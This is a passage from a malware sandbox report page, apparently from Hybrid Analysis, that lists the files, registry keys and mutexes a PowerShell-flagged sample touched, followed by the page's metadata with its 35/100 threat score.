Explorer\\Recovery\\High\\Active\\RecoveryStore.{7BFF75AB-0186-11EA-8A62-3C00276F275A}.dat","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Active\\{82571714-0186-11EA-8A62-3C00276F275A}.dat","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%TEMP%\\~DFCBA670165619F42C.TMP","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%TEMP%\\JavaDeployReg.log","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\YRECD7ZI.txt","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\3K0JAKI5\\suggestions[1].en-US","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\Recovery\\High\\Last Active\\RecoveryStore.{C7A4F1AE-D920-11E7-B48D-080027D44A30}.dat","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\8TC9AUSA.txt","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%TEMP%\\~DFD4FE5F8DD9DEDC80.TMP","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\28c8b86deab549a1.customDestinations-ms","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{EC814DF5-6D42-43EC-9EED-DA58E10CAEC7}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-00-5E-00-01-01\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\TABBEDBROWSING\\NEWTABPAGE\\MFV\\MFV","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTODETECT\\AUTODETECT","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\RECOVERY\\ADMINACTIVE\\{00000000-0000-0000-0000-000000000000}\\{00000000-0000-0000-0000-000000000000}","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\LOWREGISTRY\\ADDTOFAVORITESINITIALSELECTION\\ADDTOFAVORITESINITIALSELECTION","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\LOWREGISTRY\\ADDTOFEEDSINITIALSELECTION\\ADDTOFEEDSINITIALSELECTION","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\UpdatingNewTabPageData","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"{5312EE61-79E3-4A24-BFE1-132B85B23C3A}","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"UpdatingNewTabPageData","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"{66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"IsoScope_f4c_IE_EarlyTabStart_0x2ec_Mutex","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"IsoScope_f4c_IESQMMUTEX_0_331","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"Local\\URLBLOCK_FILEMAPSWITCH_MUTEX_3916","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"IsoScope_f4c_ConnHashTable<3916>_HashTable_Mutex","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"IsoScope_f4c_IESQMMUTEX_0_303","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"Local\\!BrowserEmulation!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"Local\\URLBLOCK_DOWNLOAD_MUTEX","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"Local\\VERMGMTBlockListFileMutex","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"Local\\URLBLOCK_HASHFILESWITCH_MUTEX","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!BrowserEmulation!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\VERMGMTBlockListFileMutex","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\URLBLOCK_FILEMAPSWITCH_MUTEX_3916","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\URLBLOCK_HASHFILESWITCH_MUTEX","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\URLBLOCK_DOWNLOAD_MUTEX","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IsoScope_f4c_IE_EarlyTabStart_0x2ec_Mutex","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IsoScope_f4c_ConnHashTable<3916>_HashTable_Mutex","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{5312EE61-79E3-4A24-BFE1-132B85B23C3A}","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IsoScope_f4c_IESQMMUTEX_0_303","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IsoScope_f4c_IESQMMUTEX_0_331","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IsoScope_f4c_IESQMMUTEX_0_274","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_!SHMSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"_!SHMSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]},{"name":"IsoScope_f4c_IESQMMUTEX_0_274","sources":[{"report_type":"sandbox","report_id":"5dc46623028838073508c911"}]}]}},"report_ids":{"sandbox_job_ids":["5dc46623028838073508c911"]}}}]]}]
20:null
24:[["$","title","0",{"children":"Suspicious Trojan.PowerShell Sample 2870de003e6c… — Score 35/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Suspicious verdict for sample 2870de003e6c…. Malware family: Trojan.PowerShell. Threat score 35/100. 1/26 AV engines flagged this file. 0 malicious and 2 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/2870de003e6c46d382096dac5e7afe9c6afaf0c36d0ef051f08d8e1ba823ab29"}],["$","meta","4",{"property":"og:title","content":"Suspicious Trojan.PowerShell Sample 2870de003e6c… — Score 35/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Suspicious verdict for sample 2870de003e6c…. Malware family: Trojan.PowerShell. Threat score 35/100. 1/26 AV engines flagged this file. 0 malicious and 2 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/2870de003e6c46d382096dac5e7afe9c6afaf0c36d0ef051f08d8e1ba823ab29"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Suspicious Trojan.PowerShell Sample 2870de003e6c… — Score 35/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Suspicious verdict for sample 2870de003e6c…. Malware family: Trojan.PowerShell. Threat score 35/100. 1/26 AV engines flagged this file. 0 malicious and 2 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2b","11",{}]]
</article></body></html>